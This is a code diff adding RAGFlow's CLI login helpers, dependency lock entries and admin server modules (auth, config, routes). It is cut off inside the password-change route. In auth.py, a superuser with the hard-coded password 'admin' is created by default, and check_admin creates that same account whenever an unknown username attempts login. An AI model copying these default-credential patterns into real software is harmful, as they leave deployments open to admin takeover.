+class AuthException(Exception):
+    def __init__(self, message, code=401):
+        super().__init__(message)
+        self.code = code
+        self.message = message
+
+
+def encrypt_password(password_plain: str) -> str:
+    try:
+        import base64
+        from Cryptodome.PublicKey import RSA
+        from Cryptodome.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
+
+        def crypt(line):
+            """
+            decrypt(crypt(input_string)) == base64(input_string), which frontend and ragflow_cli use.
+            """
+            pub = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArq9XTUSeYr2+N1h3Afl/z8Dse/2yD0ZGrKwx+EEEcdsBLca9Ynmx3nIB5obmLlSfmskLpBo0UACBmB5rEjBp2Q2f3AG3Hjd4B+gNCG6BDaawuDlgANIhGnaTLrIqWrrcm4EMzJOnAOI1fgzJRsOOUEfaS318Eq9OVO3apEyCCt0lOQK6PuksduOjVxtltDav+guVAA068NrPYmRNabVKRNLJpL8w4D44sfth5RvZ3q9t+6RTArpEtc5sh5ChzvqPOzKGMXW83C95TxmXqpbK6olN4RevSfVjEAgCydH6HN6OhtOQEcnrU97r9H0iZOWwbw3pVrZiUkuRD1R56Wzs2wIDAQAB\n-----END PUBLIC KEY-----"
+            rsa_key = RSA.importKey(pub)
+            cipher = Cipher_pkcs1_v1_5.new(rsa_key)
+            password_base64 = base64.b64encode(line.encode("utf-8")).decode("utf-8")
+            encrypted_password = cipher.encrypt(password_base64.encode())
+            return base64.b64encode(encrypted_password).decode("utf-8")
+    except Exception as exc:
+        raise AuthException("Password encryption unavailable; install pycryptodomex (uv sync --python 3.13 --group test).") from exc
+    return crypt(password_plain)
+
+
+def register_user(client: HttpClient, email: str, nickname: str, password: str) -> None:
+    password_enc = encrypt_password(password)
+    payload = {"email": email, "nickname": nickname, "password": password_enc}
+    res = client.request_json("POST", "/users", use_api_base=True, auth_kind=None, json_body=payload)
+    if res.get("code") == 0:
+        return
+    msg = res.get("message", "")
+    if "has already registered" in msg:
+        return
+    raise AuthException(f"Register failed: {msg}")
+
+
+def login_user(client: HttpClient, server_type: str, email: str, password: str) -> str:
+    password_enc = encrypt_password(password)
+    payload = {"email": email, "password": password_enc}
+    if server_type == "admin":
+        response = client.request("POST", "/admin/login", use_api_base=True, auth_kind=None, json_body=payload)
+    else:
+        response = client.request("POST", "/auth/login", use_api_base=True, auth_kind=None, json_body=payload)
+    try:
+        res = response.json()
+    except Exception as exc:
+        raise AuthException(f"Login failed: invalid JSON response ({exc})") from exc
+    if res.get("code") != 0:
+        raise AuthException(f"Login failed: {res.get('message')}")
+    token = response.headers.get("Authorization")
+    if not token:
+        raise AuthException("Login failed: missing Authorization header")
+    return token

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+[[package]]
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+]
+
+[[package]]
+name = "ragflow-cli"
+version = "0.26.4"
+source = { virtual = "." }
+dependencies = [
+    { name = "beartype" },
+    { name = "lark" },
+    { name = "pycryptodomex" },
+    { name = "requests" },
+    { name = "requests-toolbelt" },
+]
+
+[package.dev-dependencies]
+test = [
+    { name = "pytest" },
+    { name = "requests" },
+]
+
+[package.metadata]
+requires-dist = [
+    { name = "beartype", specifier = ">=0.20.0,<1.0.0" },
+    { name = "lark", specifier = ">=1.1.0" },
+    { name = "pycryptodomex", specifier = ">=3.10.0" },
+    { name = "requests", specifier = ">=2.30.0,<3.0.0" },
+    { name = "requests-toolbelt", specifier = ">=1.0.0" },
+]
+
+[package.metadata.requires-dev]
+test = [
+    { name = "pytest", specifier = ">=8.3.5" },
+    { name = "requests", specifier = ">=2.32.3" },
+]
+
+[[package]]
+name = "requests"
+version = "2.32.5"
+source = { registry = "https://pypi.tuna.tsinghua.edu.cn/simple" }
+dependencies = [
+    { name = "certifi" },
+    { name = "charset-normalizer" },
+    { name = "idna" },
+    { name = "urllib3" },
+]
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+dependencies = [
+    { name = "requests" },
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+]
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+[[package]]
+name = "urllib3"
+version = "2.6.3"
+source = { registry = "https://pypi.tuna.tsinghua.edu.cn/simple" }
+sdist = { url = "https://pypi.tuna.tsinghua.edu.cn/packages/c7/24/5f1b3bdffd70275f6661c76461e25f024d5a38a46f04aaca912426a2b1d3/urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed", size = 435556, upload-time = "2026-01-07T16:24:43.925Z" }
+wheels = [
+    { url = "https://pypi.tuna.tsinghua.edu.cn/packages/39/08/aaaad47bc4e9dc8c725e68f9d04865dbcb2052843ff09c97b08904852d84/urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4", size = 131584, upload-time = "2026-01-07T16:24:42.685Z" },
+]

admin/server/admin_server.py

@@ -0,0 +1,82 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+import time
+
+start_ts = time.time()
+
+import os
+import signal
+import logging
+import threading
+import faulthandler
+
+from flask import Flask
+from flask_login import LoginManager
+from werkzeug.serving import run_simple
+from routes import admin_bp
+from common.log_utils import init_root_logger
+from common.constants import SERVICE_CONF
+from common.config_utils import show_configs
+from common import settings
+from config import load_configurations, SERVICE_CONFIGS
+from auth import init_default_admin, setup_auth
+from flask_session import Session
+from common.versions import get_ragflow_version
+
+stop_event = threading.Event()
+
+if __name__ == "__main__":
+    faulthandler.enable()
+    init_root_logger("admin_service")
+    logging.info(r"""
+        ____  ___   ______________                 ___       __          _
+       / __ \/   | / ____/ ____/ /___ _      __   /   | ____/ /___ ___  (_)___
+      / /_/ / /| |/ / __/ /_  / / __ \ | /| / /  / /| |/ __  / __ `__ \/ / __ \
+     / _, _/ ___ / /_/ / __/ / / /_/ / |/ |/ /  / ___ / /_/ / / / / / / / / / /
+    /_/ |_/_/  |_\____/_/   /_/\____/|__/|__/  /_/  |_\__,_/_/ /_/ /_/_/_/ /_/
+    """)
+
+    app = Flask(__name__)
+    app.register_blueprint(admin_bp)
+    app.config["SESSION_PERMANENT"] = False
+    app.config["SESSION_TYPE"] = "filesystem"
+    app.config["MAX_CONTENT_LENGTH"] = int(os.environ.get("MAX_CONTENT_LENGTH", 1024 * 1024 * 1024))
+    Session(app)
+    logging.info(f"RAGFlow admin version: {get_ragflow_version()}")
+    show_configs()
+    login_manager = LoginManager()
+    login_manager.init_app(app)
+    settings.init_settings()
+    setup_auth(login_manager)
+    init_default_admin()
+    SERVICE_CONFIGS.configs = load_configurations(SERVICE_CONF)
+
+    try:
+        logging.info(f"RAGFlow admin is ready after {time.time() - start_ts}s initialization.")
+        run_simple(
+            hostname="0.0.0.0",
+            port=9381,
+            application=app,
+            threaded=True,
+            use_reloader=False,
+            use_debugger=False,
+        )
+    except Exception as e:
+        logging.exception(f"Unhandled exception: {e}")
+        stop_event.set()
+        time.sleep(1)
+        os.kill(os.getpid(), signal.SIGKILL)

admin/server/auth.py

@@ -0,0 +1,221 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+
+import logging
+import uuid
+from functools import wraps
+from datetime import datetime
+
+from flask import jsonify, request
+from flask_login import current_user, login_user
+
+from api.common.exceptions import AdminException, UserNotFoundError
+from api.common.base64 import encode_to_base64
+from api.db.services import UserService
+from api.db import UserTenantRole
+from api.db.services.user_service import TenantService, UserTenantService
+from common.constants import ActiveEnum, StatusEnum
+from api.utils.crypt import decrypt
+from common.misc_utils import get_uuid
+from common.time_utils import current_timestamp, datetime_format, get_format_time
+from common.connection_utils import sync_construct_response
+from common import settings
+
+
+def setup_auth(login_manager):
+    @login_manager.request_loader
+    def load_user(web_request):
+        # Authorization header contains JWT-encoded access token
+        # First decode JWT to get the UUID, then query database
+        from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer
+        from common import settings
+
+        authorization = web_request.headers.get("Authorization")
+        if authorization:
+            try:
+                # Strip "Bearer " prefix if present
+                jwt_token = authorization
+                if jwt_token.startswith("Bearer "):
+                    jwt_token = jwt_token[7:]
+
+                jwt_token = jwt_token.strip()
+                if not jwt_token:
+                    logging.warning("Authentication attempt with empty JWT token")
+                    return None
+
+                # Decode JWT to get the UUID access_token
+                jwt = Serializer(secret_key=settings.get_secret_key())
+                access_token = str(jwt.loads(jwt_token))
+
+                if not access_token or not access_token.strip():
+                    logging.warning("Authentication attempt with empty access token after JWT decode")
+                    return None
+
+                # Access tokens stored in database are UUIDs (32 hex characters)
+                if len(access_token) < 32:
+                    logging.warning(f"Authentication attempt with invalid token format: {len(access_token)} chars")
+                    return None
+
+                user = UserService.query(access_token=access_token, status=StatusEnum.VALID.value)
+                if user:
+                    if not user[0].access_token or not user[0].access_token.strip():
+                        logging.warning(f"User {user[0].email} has empty access_token in database")
+                        return None
+                    return user[0]
+                else:
+                    return None
+            except Exception as e:
+                logging.warning(f"load_user got exception {e}")
+                return None
+        else:
+            return None
+
+
+def init_default_admin():
+    # Verify that at least one active admin user exists. If not, create a default one.
+    users = UserService.query(is_superuser=True)
+    if not users:
+        default_admin = {
+            "id": uuid.uuid1().hex,
+            "password": encode_to_base64("admin"),
+            "nickname": "admin",
+            "is_superuser": True,
+            "email": "admin@ragflow.io",
+            "creator": "system",
+            "status": "1",
+        }
+        if not UserService.save(**default_admin):
+            raise AdminException("Can't init admin.", 500)
+        add_tenant_for_admin(default_admin, UserTenantRole.OWNER)
+    elif not any([u.is_active == ActiveEnum.ACTIVE.value for u in users]):
+        raise AdminException("No active admin. Please update 'is_active' in db manually.", 500)
+    else:
+        default_admin_rows = [u for u in users if u.email == "admin@ragflow.io"]
+        if default_admin_rows:
+            default_admin = default_admin_rows[0].to_dict()
+            exist, default_admin_tenant = TenantService.get_by_id(default_admin["id"])
+            if not exist:
+                add_tenant_for_admin(default_admin, UserTenantRole.OWNER)
+
+
+def add_tenant_for_admin(user_info: dict, role: str):
+
+    tenant = {
+        "id": user_info["id"],
+        "name": user_info["nickname"] + "‘s Kingdom",
+        "llm_id": settings.CHAT_MDL,
+        "embd_id": settings.EMBEDDING_MDL,
+        "asr_id": settings.ASR_MDL,
+        "parser_ids": settings.PARSERS,
+        "img2txt_id": settings.IMAGE2TEXT_MDL,
+        "rerank_id": settings.RERANK_MDL,
+    }
+    usr_tenant = {"tenant_id": user_info["id"], "user_id": user_info["id"], "invited_by": user_info["id"], "role": role}
+
+    # tenant_llm = get_init_tenant_llm(user_info["id"])
+    TenantService.insert(**tenant)
+    UserTenantService.insert(**usr_tenant)
+    # TenantLLMService.insert_many(tenant_llm)
+    logging.info(f"Added tenant for email: {user_info['email']}, A default tenant has been set; changing the default models after login is strongly recommended.")
+
+
+def check_admin_auth(func):
+    @wraps(func)
+    def wrapper(*args, **kwargs):
+        user = UserService.filter_by_id(current_user.id)
+        if not user:
+            raise UserNotFoundError(current_user.email)
+        if not user.is_superuser:
+            raise AdminException("Not admin", 403)
+        if user.is_active == ActiveEnum.INACTIVE.value:
+            raise AdminException(f"User {current_user.email} inactive", 403)
+
+        return func(*args, **kwargs)
+
+    return wrapper
+
+
+def login_admin(email: str, password: str):
+    """
+    :param email: admin email
+    :param password: string before decrypt (RSA encrypted + base64 encoded)
+    """
+    users = UserService.query(email=email)
+    if not users:
+        raise UserNotFoundError(email)
+    decrypted = decrypt(password)
+    user = UserService.query_user(email, decrypted)
+    if not user:
+        raise AdminException("Email and password do not match!")
+    if not user.is_superuser:
+        raise AdminException("Not admin", 403)
+    if user.is_active == ActiveEnum.INACTIVE.value:
+        raise AdminException(f"User {email} inactive", 403)
+
+    resp = user.to_json()
+    user.access_token = get_uuid()
+    login_user(user)
+    user.update_time = (current_timestamp(),)
+    user.update_date = (datetime_format(datetime.now()),)
+    user.last_login_time = get_format_time()
+    user.save()
+    msg = "Welcome back!"
+    return sync_construct_response(data=resp, auth=user.get_id(), message=msg)
+
+
+def check_admin(username: str, password: str):
+    users = UserService.query(email=username)
+    if not users:
+        logging.info(f"Username: {username} is not registered!")
+        user_info = {
+            "id": uuid.uuid1().hex,
+            "password": encode_to_base64("admin"),
+            "nickname": "admin",
+            "is_superuser": True,
+            "email": "admin@ragflow.io",
+            "creator": "system",
+            "status": "1",
+        }
+        if not UserService.save(**user_info):
+            raise AdminException("Can't init admin.", 500)
+
+    user = UserService.query_user(username, password)
+    if user:
+        return True
+    else:
+        return False
+
+
+def login_verify(f):
+    @wraps(f)
+    def decorated(*args, **kwargs):
+        auth = request.authorization
+        if not auth or "username" not in auth.parameters or "password" not in auth.parameters:
+            return jsonify({"code": 401, "message": "Authentication required", "data": None}), 200
+
+        username = auth.parameters["username"]
+        password = auth.parameters["password"]
+        try:
+            if not check_admin(username, password):
+                return jsonify({"code": 500, "message": "Access denied", "data": None}), 200
+        except Exception:
+            logging.exception("An error occurred during admin login verification.")
+            return jsonify({"code": 500, "message": "An internal server error occurred."}), 200
+
+        return f(*args, **kwargs)
+
+    return decorated

admin/server/config.py

@@ -0,0 +1,333 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+
+import logging
+import threading
+from enum import Enum
+
+from pydantic import BaseModel
+from typing import Any
+from common.config_utils import read_config
+from urllib.parse import urlparse
+
+
+class BaseConfig(BaseModel):
+    id: int
+    name: str
+    host: str
+    port: int
+    service_type: str
+    detail_func_name: str
+
+    def to_dict(self) -> dict[str, Any]:
+        return {"id": self.id, "name": self.name, "host": self.host, "port": self.port, "service_type": self.service_type}
+
+
+class ServiceConfigs:
+    configs = list[BaseConfig]
+
+    def __init__(self):
+        self.configs = []
+        self.lock = threading.Lock()
+
+
+SERVICE_CONFIGS = ServiceConfigs
+
+
+class ServiceType(Enum):
+    METADATA = "metadata"
+    RETRIEVAL = "retrieval"
+    MESSAGE_QUEUE = "message_queue"
+    RAGFLOW_SERVER = "ragflow_server"
+    TASK_EXECUTOR = "task_executor"
+    FILE_STORE = "file_store"
+
+
+class MetaConfig(BaseConfig):
+    meta_type: str
+
+    def to_dict(self) -> dict[str, Any]:
+        result = super().to_dict()
+        if "extra" not in result:
+            result["extra"] = dict()
+        extra_dict = result["extra"].copy()
+        extra_dict["meta_type"] = self.meta_type
+        result["extra"] = extra_dict
+        return result
+
+
+class MySQLConfig(MetaConfig):
+    username: str
+    password: str
+
+    def to_dict(self) -> dict[str, Any]:
+        result = super().to_dict()
+        if "extra" not in result:
+            result["extra"] = dict()
+        extra_dict = result["extra"].copy()
+        extra_dict["username"] = self.username
+        extra_dict["password"] = self.password
+        result["extra"] = extra_dict
+        return result
+
+
+class PostgresConfig(MetaConfig):
+    def to_dict(self) -> dict[str, Any]:
+        result = super().to_dict()
+        if "extra" not in result:
+            result["extra"] = dict()
+        return result
+
+
+class RetrievalConfig(BaseConfig):
+    retrieval_type: str
+
+    def to_dict(self) -> dict[str, Any]:
+        result = super().to_dict()
+        if "extra" not in result:
+            result["extra"] = dict()
+        extra_dict = result["extra"].copy()
+        extra_dict["retrieval_type"] = self.retrieval_type
+        result["extra"] = extra_dict
+        return result
+
+
+class InfinityConfig(RetrievalConfig):
+    db_name: str
+
+    def to_dict(self) -> dict[str, Any]:
+        result = super().to_dict()
+        if "extra" not in result:
+            result["extra"] = dict()
+        extra_dict = result["extra"].copy()
+        extra_dict["db_name"] = self.db_name
+        result["extra"] = extra_dict
+        return result
+
+
+class ElasticsearchConfig(RetrievalConfig):
+    username: str
+    password: str
+
+    def to_dict(self) -> dict[str, Any]:
+        result = super().to_dict()
+        if "extra" not in result:
+            result["extra"] = dict()
+        extra_dict = result["extra"].copy()
+        extra_dict["username"] = self.username
+        extra_dict["password"] = self.password
+        result["extra"] = extra_dict
+        return result
+
+
+class MessageQueueConfig(BaseConfig):
+    mq_type: str
+
+    def to_dict(self) -> dict[str, Any]:
+        result = super().to_dict()
+        if "extra" not in result:
+            result["extra"] = dict()
+        extra_dict = result["extra"].copy()
+        extra_dict["mq_type"] = self.mq_type
+        result["extra"] = extra_dict
+        return result
+
+
+class RedisConfig(MessageQueueConfig):
+    database: int
+    password: str
+
+    def to_dict(self) -> dict[str, Any]:
+        result = super().to_dict()
+        if "extra" not in result:
+            result["extra"] = dict()
+        extra_dict = result["extra"].copy()
+        extra_dict["database"] = self.database
+        extra_dict["password"] = self.password
+        result["extra"] = extra_dict
+        return result
+
+
+class RabbitMQConfig(MessageQueueConfig):
+    def to_dict(self) -> dict[str, Any]:
+        result = super().to_dict()
+        if "extra" not in result:
+            result["extra"] = dict()
+        return result
+
+
+class RAGFlowServerConfig(BaseConfig):
+    def to_dict(self) -> dict[str, Any]:
+        result = super().to_dict()
+        if "extra" not in result:
+            result["extra"] = dict()
+        return result
+
+
+class TaskExecutorConfig(BaseConfig):
+    message_queue_type: str
+
+    def to_dict(self) -> dict[str, Any]:
+        result = super().to_dict()
+        if "extra" not in result:
+            result["extra"] = dict()
+        result["extra"]["message_queue_type"] = self.message_queue_type
+        return result
+
+
+class FileStoreConfig(BaseConfig):
+    store_type: str
+
+    def to_dict(self) -> dict[str, Any]:
+        result = super().to_dict()
+        if "extra" not in result:
+            result["extra"] = dict()
+        extra_dict = result["extra"].copy()
+        extra_dict["store_type"] = self.store_type
+        result["extra"] = extra_dict
+        return result
+
+
+class MinioConfig(FileStoreConfig):
+    user: str
+    password: str
+
+    def to_dict(self) -> dict[str, Any]:
+        result = super().to_dict()
+        if "extra" not in result:
+            result["extra"] = dict()
+        extra_dict = result["extra"].copy()
+        extra_dict["user"] = self.user
+        extra_dict["password"] = self.password
+        result["extra"] = extra_dict
+        return result
+
+
+def load_configurations(config_path: str) -> list[BaseConfig]:
+    raw_configs = read_config(config_path)
+    configurations = []
+    ragflow_count = 0
+    id_count = 0
+    for k, v in raw_configs.items():
+        match k:
+            case "ragflow":
+                name: str = f"ragflow_{ragflow_count}"
+                host: str = v["host"]
+                http_port: int = v["http_port"]
+                config = RAGFlowServerConfig(id=id_count, name=name, host=host, port=http_port, service_type="ragflow_server", detail_func_name="check_ragflow_server_alive")
+                configurations.append(config)
+                id_count += 1
+            case "es":
+                name: str = "elasticsearch"
+                url = v["hosts"]
+                parsed = urlparse(url)
+                host: str = parsed.hostname
+                port: int = parsed.port
+                username: str = v.get("username")
+                password: str = v.get("password")
+                config = ElasticsearchConfig(
+                    id=id_count,
+                    name=name,
+                    host=host,
+                    port=port,
+                    service_type="retrieval",
+                    retrieval_type="elasticsearch",
+                    username=username,
+                    password=password,
+                    detail_func_name="get_es_cluster_stats",
+                )
+                configurations.append(config)
+                id_count += 1
+
+            case "infinity":
+                name: str = "infinity"
+                url = v["uri"]
+                parts = url.split(":", 1)
+                host = parts[0]
+                port = int(parts[1])
+                database: str = v.get("db_name", "default_db")
+                config = InfinityConfig(id=id_count, name=name, host=host, port=port, service_type="retrieval", retrieval_type="infinity", db_name=database, detail_func_name="get_infinity_status")
+                configurations.append(config)
+                id_count += 1
+            case "minio_0":
+                name: str = "minio_0"
+                url = v["host"]
+                parts = url.split(":", 1)
+                host = parts[0]
+                port = int(parts[1])
+                user = v.get("user")
+                password = v.get("password")
+                config = MinioConfig(id=id_count, name=name, host=host, port=port, user=user, password=password, service_type="file_store", store_type="minio", detail_func_name="check_minio_alive")
+                configurations.append(config)
+                id_count += 1
+            case "minio":
+                name: str = "minio"
+                url = v["host"]
+                parts = url.split(":", 1)
+                host = parts[0]
+                port = int(parts[1])
+                user = v.get("user")
+                password = v.get("password")
+                config = MinioConfig(id=id_count, name=name, host=host, port=port, user=user, password=password, service_type="file_store", store_type="minio", detail_func_name="check_minio_alive")
+                configurations.append(config)
+                id_count += 1
+            case "redis":
+                name: str = "redis"
+                url = v["host"]
+                parts = url.split(":", 1)
+                host = parts[0]
+                port = int(parts[1])
+                password = v.get("password")
+                db: int = v.get("db")
+                config = RedisConfig(id=id_count, name=name, host=host, port=port, password=password, database=db, service_type="message_queue", mq_type="redis", detail_func_name="get_redis_info")
+                configurations.append(config)
+                id_count += 1
+            case "mysql":
+                name: str = "mysql"
+                host: str = v.get("host")
+                port: int = v.get("port")
+                username = v.get("user")
+                password = v.get("password")
+                config = MySQLConfig(
+                    id=id_count, name=name, host=host, port=port, username=username, password=password, service_type="meta_data", meta_type="mysql", detail_func_name="get_mysql_status"
+                )
+                configurations.append(config)
+                id_count += 1
+            case "admin":
+                pass
+            case "task_executor":
+                name: str = "task_executor"
+                host: str = v.get("host", "")
+                port: int = v.get("port", 0)
+                message_queue_type: str = v.get("message_queue_type")
+                config = TaskExecutorConfig(
+                    id=id_count, name=name, host=host, port=port, message_queue_type=message_queue_type, service_type="task_executor", detail_func_name="check_task_executor_alive"
+                )
+                configurations.append(config)
+                id_count += 1
+            case "rabbitmq":
+                name: str = "rabbitmq"
+                host: str = v.get("host")
+                port: int = v.get("port")
+                config = RabbitMQConfig(id=id_count, name=name, host=host, port=port, service_type="message_queue", mq_type="rabbitmq", detail_func_name="check_rabbitmq_alive")
+                configurations.append(config)
+                id_count += 1
+            case _:
+                logging.warning(f"Unknown configuration key: {k}")
+                continue
+
+    return configurations

admin/server/exceptions.py

@@ -0,0 +1,20 @@
+class AdminException(Exception):
+    def __init__(self, message, code=400):
+        super().__init__(message)
+        self.code = code
+        self.message = message
+
+
+class UserNotFoundError(AdminException):
+    def __init__(self, username):
+        super().__init__(f"User '{username}' not found", 404)
+
+
+class UserAlreadyExistsError(AdminException):
+    def __init__(self, username):
+        super().__init__(f"User '{username}' already exists", 409)
+
+
+class CannotDeleteAdminError(AdminException):
+    def __init__(self):
+        super().__init__("Cannot delete admin account", 403)

admin/server/models.py

@@ -0,0 +1,15 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#

admin/server/responses.py

@@ -0,0 +1,24 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from flask import jsonify
+
+
+def success_response(data=None, message="Success", code=0):
+    return jsonify({"code": code, "message": message, "data": data}), 200
+
+
+def error_response(message="Error", code=-1, data=None):
+    return jsonify({"code": code, "message": message, "data": data}), 400

admin/server/roles.py

@@ -0,0 +1,76 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+
+from typing import Dict, Any
+
+from api.common.exceptions import AdminException
+
+
+class RoleMgr:
+    @staticmethod
+    def create_role(role_name: str, description: str):
+        error_msg = f"not implement: create role: {role_name}, description: {description}"
+        logging.error(error_msg)
+        raise AdminException(error_msg)
+
+    @staticmethod
+    def update_role_description(role_name: str, description: str) -> Dict[str, Any]:
+        error_msg = f"not implement: update role: {role_name} with description: {description}"
+        logging.error(error_msg)
+        raise AdminException(error_msg)
+
+    @staticmethod
+    def delete_role(role_name: str) -> Dict[str, Any]:
+        error_msg = f"not implement: drop role: {role_name}"
+        logging.error(error_msg)
+        raise AdminException(error_msg)
+
+    @staticmethod
+    def list_roles() -> Dict[str, Any]:
+        error_msg = "not implement: list roles"
+        logging.error(error_msg)
+        raise AdminException(error_msg)
+
+    @staticmethod
+    def get_role_permission(role_name: str) -> Dict[str, Any]:
+        error_msg = f"not implement: show role {role_name}"
+        logging.error(error_msg)
+        raise AdminException(error_msg)
+
+    @staticmethod
+    def grant_role_permission(role_name: str, actions: list, resource: str) -> Dict[str, Any]:
+        error_msg = f"not implement: grant role {role_name} actions: {actions} on {resource}"
+        logging.error(error_msg)
+        raise AdminException(error_msg)
+
+    @staticmethod
+    def revoke_role_permission(role_name: str, actions: list, resource: str) -> Dict[str, Any]:
+        error_msg = f"not implement: revoke role {role_name} actions: {actions} on {resource}"
+        logging.error(error_msg)
+        raise AdminException(error_msg)
+
+    @staticmethod
+    def update_user_role(user_name: str, role_name: str) -> Dict[str, Any]:
+        error_msg = f"not implement: update user role: {user_name} to role {role_name}"
+        logging.error(error_msg)
+        raise AdminException(error_msg)
+
+    @staticmethod
+    def get_user_permission(user_name: str) -> Dict[str, Any]:
+        error_msg = f"not implement: get user permission: {user_name}"
+        logging.error(error_msg)
+        raise AdminException(error_msg)

admin/server/routes.py

@@ -0,0 +1,693 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+import secrets
+import logging
+from typing import Any
+
+from common.time_utils import current_timestamp, datetime_format
+from datetime import datetime
+from flask import Blueprint, Response, request
+from flask_login import current_user, login_required, logout_user
+
+from auth import login_verify, login_admin, check_admin_auth
+from responses import success_response, error_response
+from services import UserMgr, ServiceMgr, UserServiceMgr, SettingsMgr, ConfigMgr, EnvironmentsMgr, SandboxMgr
+from roles import RoleMgr
+from api.common.exceptions import AdminException
+from common.versions import get_ragflow_version
+from api.utils.api_utils import generate_confirmation_token
+from common.log_utils import get_log_levels, set_log_level
+
+admin_bp = Blueprint("admin", __name__, url_prefix="/api/v1/admin")
+
+
+@admin_bp.route("/ping", methods=["GET"])
+def ping():
+    return success_response(message="pong")
+
+
+@admin_bp.route("/login", methods=["POST"])
+def login():
+    if not request.json:
+        return error_response("Authorize admin failed.", 400)
+    try:
+        email = request.json.get("email", "")
+        password = request.json.get("password", "")
+        return login_admin(email, password)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/logout", methods=["GET"])
+@login_required
+def logout():
+    try:
+        current_user.access_token = f"INVALID_{secrets.token_hex(16)}"
+        current_user.save()
+        logout_user()
+        return success_response(True)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/auth", methods=["GET"])
+@login_verify
+def auth_admin():
+    try:
+        return success_response(None, "Admin is authorized", 0)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/users", methods=["GET"])
+@login_required
+@check_admin_auth
+def list_users():
+    try:
+        users = UserMgr.get_all_users()
+        return success_response(users, "Get all users", 0)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/users", methods=["POST"])
+@login_required
+@check_admin_auth
+def create_user():
+    try:
+        data = request.get_json()
+        if not data or "username" not in data or "password" not in data:
+            return error_response("Username and password are required", 400)
+
+        username = data["username"]
+        password = data["password"]
+        role = data.get("role", "user")
+
+        res = UserMgr.create_user(username, password, role)
+        if res["success"]:
+            user_info = res["user_info"]
+            user_info.pop("password")  # do not return password
+            return success_response(user_info, "User created successfully")
+        else:
+            return error_response("create user failed")
+
+    except AdminException as e:
+        return error_response(e.message, e.code)
+    except Exception as e:
+        return error_response(str(e))
+
+
+@admin_bp.route("/users/<username>", methods=["DELETE"])
+@login_required
+@check_admin_auth
+def delete_user(username):
+    try:
+        res = UserMgr.delete_user(username)
+        if res["success"]:
+            return success_response(None, res["message"])
+        else:
+            return error_response(res["message"])
+
+    except AdminException as e:
+        return error_response(e.message, e.code)
+    except Exception as e:
+        return error_response(str(e), 500)
+
+
+@admin_bp.route("/users/<username>/password", methods=["PUT"])
+@login_required
+@check_admin_auth
+def change_password(username):
+    try:
+        data = request.get_json()
